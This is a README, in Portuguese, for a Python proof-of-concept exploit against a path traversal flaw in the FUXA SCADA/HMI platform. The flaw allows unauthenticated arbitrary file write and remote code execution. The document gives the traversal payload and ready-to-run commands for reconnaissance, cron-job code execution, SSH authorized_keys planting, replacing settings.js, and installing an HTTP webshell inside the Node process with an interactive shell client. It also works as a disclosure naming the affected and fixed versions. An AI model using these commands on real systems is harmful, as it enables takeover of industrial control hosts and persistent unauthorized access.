
Exploit de PoC para CVE-2026-25895 FUXA Path Traversal não autenticado -> Escrita arbitrária de arquivos -> RCE
Escrita arbitrária de arquivos não autenticada (pré-autenticação) contra o FUXA, uma plataforma SCADA/HMI baseada em Node.js. Permite encadear para execução remota de código por meio de várias primitivas distintas pós-escrita. Funciona mesmo quando secureEnabled = true (autenticação ativada), pois o endpoint vulnerável não possui middleware anexado.
Também disponível no ExploitDB: https://www.exploit-db.com/exploits/52568
| Campo | Valor |
|---|---|
| CVE ID | CVE-2026-25895 |
| Afetado | FUXA <= 1.2.9 |
| Corrigido | FUXA 1.2.10 |
| Fornecedor | frangoteam / FUXA |
| Vetor de ataque | Rede (HTTP/HTTPS) |
| Autenticação | Nenhuma necessária |
| Impacto | Escrita arbitrária de arquivos, execução remota de código |
| CVSS v3.1 | 9.8 (Crítico) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Pesquisador | Anthony Cihan (Hann1bl3L3ct3r) |
O endpoint POST /api/upload do FUXA (server/api/projects/index.js:193) é registrado sem middleware, contornando tanto a verificação de JWT / chave de API do secureFnc quanto a barreira de permissão de administrador aplicada a todos os outros endpoints de gerenciamento de projetos. Dentro do handler, o campo destination do corpo JSON é concatenado em um caminho de filesystem com apenas um sublinhado inicial e sem normalização ou verificação de contenção:
let destinationDir = path.resolve(runtime.settings.appDir, `_${destination}`);
filePath = path.join(destinationDir, fullPath || fileName);
fs.writeFileSync(filePath, basedata, encoding);
Um valor de destination no formato a/../../../../../etc (em que a absorve o prefixo de sublinhado inicial) faz o path.resolve do Node sair de appDir para qualquer local em que o processo do FUXA possa escrever. Como fs.writeFileSync é precedido por um fs.mkdirSync(dir, { recursive: true }) condicional, o atacante também pode criar diretórios-pai conforme necessário.
O resultado é uma primitiva de escrita arbitrária de arquivos não autenticada, acessível na porta HTTP padrão (1881), explorável antes da autenticação independentemente de o administrador do FUXA ter ativado ou não o login.
Um atacante remoto não autenticado pode:
settings.js para obter execução de código na próxima reinicialização do FUXA/etc/cron.d/<arquivo>) para execução de código em até 60 segundos quando o FUXA roda como root (o padrão na imagem Docker do fornecedor)/root/.ssh/authorized_keys ou no ~/.ssh/authorized_keys de qualquer usuárioEsta é uma descoberta de severidade crítica pré-autenticação em uma plataforma ICS/SCADA usada para operar processos industriais.
| Versão | Status |
|---|---|
<= 1.2.9 | Vulnerável |
1.2.10+ | Corrigido |
Exploração confirmada em uma instalação limpa do FUXA 1.2.9 no Ubuntu Server.
Script Python 3 de arquivo único, com uma dependência de terceiros (requests).
pip install requests
python3 fuxapwn.py --help
Identifica o usuário do SO em execução, a exposição do Node-RED e quaisquer outras contas no host sem escrever nada incomum:
python3 fuxapwn.py -u http://target:1881 --mode recon \
--probe-root --probe-home
Escreve um marcador neutro /tmp/healthcheck (sem IOCs específicos do CVE no nome do arquivo ou no conteúdo):
python3 fuxapwn.py -u http://target:1881 --mode canary
Se o FUXA roda como root, instale um arquivo cron que dispara em até 60 segundos sem exigir reinicialização do FUXA:
python3 fuxapwn.py -u http://target:1881 --mode cron \
--cron-cmd 'id > /tmp/fx.txt 2>&1'
settings.jsInstala um listener de webshell HTTP dentro do processo Node do FUXA (é ativado na próxima inicialização a frio, pois require() armazena módulos em cache) e, em seguida, abre um REPL interativo quando o FUXA reiniciar:
# Stage the payload — replaces settings.js but preserves the target's
# real configuration (uiPort, allowedOrigins, secureEnabled, etc.) so the
# application keeps serving normally.
python3 fuxapwn.py -u http://target:1881 --mode webshell \
--appdata /opt/FUXA/server/_appdata --ws-port 31337
# Once FUXA restarts, connect to the installed webshell.
python3 fuxapwn.py -u http://target:1881 --mode webshell-exec \
--ws-host target --ws-port 31337 \
--ws-path /_abc123 --ws-token <printed-above> --interact
| Modo | Finalidade |
|---|---|
recon | Vazamento não autenticado de informações via GET /api/settings; infere o usuário do SO em execução a partir de caminhos absolutos; informa o status do Node-RED; sondas ativas opcionais --probe-root e --probe-home |
canary | Prova da primitiva de escrita de arquivos com um caminho padrão neutro |
settings-rce | Substitui settings.js por um payload que executa um comando configurável na próxima inicialização a frio do FUXA |
ssh-key | Escreve uma chave pública no authorized_keys do usuário-alvo |
drop | Gravação arbitrária de arquivo em qualquer caminho absoluto |
cron | Instala /etc/cron.d/<nome> para RCE em até 60 segundos sem aguardar reinicialização do FUXA (requer FUXA rodando como root) |
webshell | Instala um listener de webshell HTTP dentro do processo Node do FUXA via substituição do settings.js (ativa na próxima inicialização a frio) |
webshell-exec | Cliente para um webshell já instalado; comando único ou REPL com --interact |
Referência completa das opções por modo: python3 fuxapwn.py --help.
GET /api/settings (server/api/index.js:103) é registrado sem middleware e retorna a configuração de runtime ativa, levemente redigida (o servidor remove secretCode e smtp.password antes de enviar). Os campos restantes vazam caminhos absolutos (appDir, workDir, userSettingsFile, logsDir, uploadFileDir) que normalmente identificam o usuário de serviço, além de nodeRedEnabled, que é um indicador direto de um caminho secundário de RCE não autenticado (veja abaixo).
Quando o FUXA é iniciado via npm start com uma conta de usuário local e os caminhos de instalação não codificam o usuário (por exemplo, a instalação fica em /opt, /tmp ou um /app genérico), e /root/ não é gravável, o POC recorre a iterar por /home/<candidato>/ com escritas de zero byte.